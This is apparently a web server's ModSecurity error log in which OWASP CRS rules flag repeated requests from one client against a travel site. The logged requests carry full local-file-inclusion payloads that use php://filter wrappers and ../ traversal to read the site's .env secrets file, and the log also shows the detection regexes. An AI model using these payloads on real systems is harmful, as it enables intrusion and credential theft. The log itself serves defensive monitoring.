[Fri Jul 17 08:55:12.429884 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.base64-encode/resource=../../../.env&token=OBaNh2p8xlwTAeuIfpnuqQJnCiYxt6kXlgHXEPMnvdo1O9RFbX3Ke_mKnt-LTc4A1sReb3Y6v20GnHaF3nBA55VgbNJz7F6UST8hE34P36TN29k2sKVQaCG3QXkG_j3wK_18gNQuNrHLc_mEWeYdI1fRz5CZSoCwt5jRr6dbOugvgr-blj2u61zGWqIwtE_tndvB-qAjbaNOzJIXWmxWIeSr3bN9a1dejHkwyF21STQqgkIuTZB-p9i-k6ckC8JWNhycPyn2YVDfxGWHJa5fnFTr&extra=OYPCWK7WZC6IYQ5HKG2GSXRHGYRN6CXNSG27EJ7NIOG77KIMYEMAWNZSK6HG2XAEWILYDJAZGHNGKENGO26QNUE2U4XHK2VF..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUgAAAAY"]
[Fri Jul 17 08:55:12.429962 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.base64-encode/resource=../../../.env&token=obanh2p8xlwtaeuifpnuqqjnciyxt6kxlghxepmnvdo1o9rfbx3ke_mknt-ltc4a1sreb3y6v20gnhaf3nba55vgbnjz7f6ust8he34p36tn29k2skvqacg3qxkg_j3wk_18gnqunrhlc_meweydi1frz5czsocwt5jrr6dbougvgr-blj2u61zgwqiwte_tndvb-qajbanozjixwmxwiesr3bn9a1dejhkwyf21stqqgkiutzb-p9i-k6ckc8jwnhycpyn2yvdfxgwhja5fnftr&extra=oypcwk7wzc6iyq5hkg2gsxrhgyrn6cxnsg27ej7niog77kimyemawnzsk6hg2xaewilydjazghngkengo26qnue2u4xhk2vf..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUgAAAAY"]
[Fri Jul 17 08:55:12.430021 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqwAAABk"]
[Fri Jul 17 08:55:12.430022 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUgAAAAY"]
[Fri Jul 17 08:55:12.430117 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUgAAAAY"]
[Fri Jul 17 08:55:12.430605 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUgAAAAY"]
[Fri Jul 17 08:55:12.431038 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqwAAABk"]
[Fri Jul 17 08:55:12.431179 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.431471 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmA7FYe46zHK_jL3PqwAAABk"]
[Fri Jul 17 08:55:12.432168 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUgAAAAY"]
[Fri Jul 17 08:55:12.432388 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.432842 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmA5GPQ6hs4VrfMpBUgAAAAY"]
[Fri Jul 17 08:55:12.433377 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmEgVnBK6wAv37w6sLgAAABQ"]
[Fri Jul 17 08:55:12.434849 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&language=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&junk=gsf7736QRpBCSSELYw-QXChdHggzxJ-sr1LqlvjBFLAW0-m7DdoJcLu82taHJh6euaiJhCQE7JOTATiSHPLJxgJvLjPzofFK9QoRBPoBWFcf0ud4Xns3bseErhrb9XbboibUOqjrT6k7CkZZRckHY0wojVhmVFv09QES8KBQZxMEMzucFYbl4XnKv7rCtAyGbgrev8ExzKD8EQ2xbHjwwSZzHzax9T3lg6vbuOSTGyRV-rJNfSfOFSaO-iCFEcO6wwo-Rl1x1pXIBpP9eTn657mD&ref=2OVLYQC6SHCLI65DKDR3FAMJY5PQUXXN2G7JYQVNWH74V4YIQ2KGLW2MEGCUVXH7QCNDR..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MQQAAAAc"]
[Fri Jul 17 08:55:12.434919 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MQQAAAAc"]
[Fri Jul 17 08:55:12.435017 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&junk=gsf7736QRpBCSSELYw-QXChdHggzxJ-sr1LqlvjBFLAW0-m7DdoJcLu82taHJh6euaiJhCQE7JOTATiSHPLJxgJvLjPzofFK9QoRBPoBWFcf0ud4Xns3bseErhrb9XbboibUOqjrT6k7CkZZRckHY0wojVhmVFv09QES8KBQZxMEMzucFYbl4XnKv7rCtAyGbgrev8ExzKD8EQ2xbHjwwSZzHzax9T3lg6vbuOSTGyRV-rJNfSfOFSaO-iCFEcO6wwo-Rl1x1pXIBpP9eTn657mD&ref=2OVLYQC6SHCLI65DKDR3FAMJY5PQUXXN2G7JYQVNWH74V4YIQ2KGLW2MEGCUVXH7QCNDRUVHAJQC53SSBMDQB7M2NDXM5SL..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MQQAAAAc"]
[Fri Jul 17 08:55:12.435120 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&junk=gsf7736qrpbcsselyw-qxchdhggzxj-sr1lqlvjbflaw0-m7ddojclu82tahjh6euaijhcqe7jotatishpljxgjvljpzoffk9qorbpobwfcf0ud4xns3bseerhrb9xbboibuoqjrt6k7ckzzrckhy0wojvhmvfv09qes8kbqzxmemzucfybl4xnkv7rctaygbgrev8exzkd8eq2xbhjwwszzhzax9t3lg6vbuostgyrv-rjnfsfofsao-icfeco6wwo-rl1x1pxibpp9etn657md&ref=2ovlyqc6shcli65dkdr3famjy5pquxxn2g7jyqvnwh74v4yiq2kglw2megcuvxh7qcndruvhajqc53ssbmdqb7m2ndxm5sl..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MQQAAAAc"]
[Fri Jul 17 08:55:12.435183 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MQQAAAAc"]
[Fri Jul 17 08:55:12.435231 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MQQAAAAc"]
[Fri Jul 17 08:55:12.435765 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MQQAAAAc"]
[Fri Jul 17 08:55:12.439834 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MQQAAAAc"]
[Fri Jul 17 08:55:12.440086 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.440536 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmFh1WDijTxd1xw5MQQAAAAc"]
[Fri Jul 17 08:55:12.442787 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&language=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&sid=Yj4ljsy4cY5nyin_L3vDLj7K_UjAj1wuRYOVGhkUdRIyhdiHmQ7y7Tgj2pHd27SfBE1F9sX-aLpDEbouJLpXt0_Hj4-1CEfMDxd8n4QWL9fyGwLrfGlxcplZT132O8kVGjaAm7Dc4K5Ls4EAArSJE0trEIJ3USGtYKIbdnNDOLcSCjcNUYUaT75GYqWlVFG0YZRw22UfSZDnl1iczBSjm2mw6FRD7mxfJhtL9sq2OlMQHnqYB1Q8lHmSFdibjkdF9ydBgjk8DVCQ5j6UKsS--KgX&token=ZAZEXD5GGSDCYA4AUYMHLNNTHQOWUBTKOKOIPEJJO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952gAAAAw"]
[Fri Jul 17 08:55:12.442847 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952gAAAAw"]
[Fri Jul 17 08:55:12.442905 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&sid=Yj4ljsy4cY5nyin_L3vDLj7K_UjAj1wuRYOVGhkUdRIyhdiHmQ7y7Tgj2pHd27SfBE1F9sX-aLpDEbouJLpXt0_Hj4-1CEfMDxd8n4QWL9fyGwLrfGlxcplZT132O8kVGjaAm7Dc4K5Ls4EAArSJE0trEIJ3USGtYKIbdnNDOLcSCjcNUYUaT75GYqWlVFG0YZRw22UfSZDnl1iczBSjm2mw6FRD7mxfJhtL9sq2OlMQHnqYB1Q8lHmSFdibjkdF9ydBgjk8DVCQ5j6UKsS--KgX&token=ZAZEXD5GGSDCYA4AUYMHLNNTHQOWUBTKOKOIPEJJO7LW3I2PKBJRBII5IM3ZJLN5RP6GR..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952gAAAAw"]
[Fri Jul 17 08:55:12.442936 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&sid=yj4ljsy4cy5nyin_l3vdlj7k_ujaj1wuryovghkudriyhdihmq7y7tgj2phd27sfbe1f9sx-alpdeboujlpxt0_hj4-1cefmdxd8n4qwl9fygwlrfglxcplzt132o8kvgjaam7dc4k5ls4eaarsje0treij3usgtykibdnndolcscjcnuyuat75gyqwlvfg0yzrw22ufszdnl1iczbsjm2mw6frd7mxfjhtl9sq2olmqhnqyb1q8lhmsfdibjkdf9ydbgjk8dvcq5j6ukss--kgx&token=zazexd5ggsdcya4auymhlnnthqowubtkokoipejjo7lw3i2pkbjrbii5im3zjln5rp6gr..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952gAAAAw"]
[Fri Jul 17 08:55:12.442960 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952gAAAAw"]
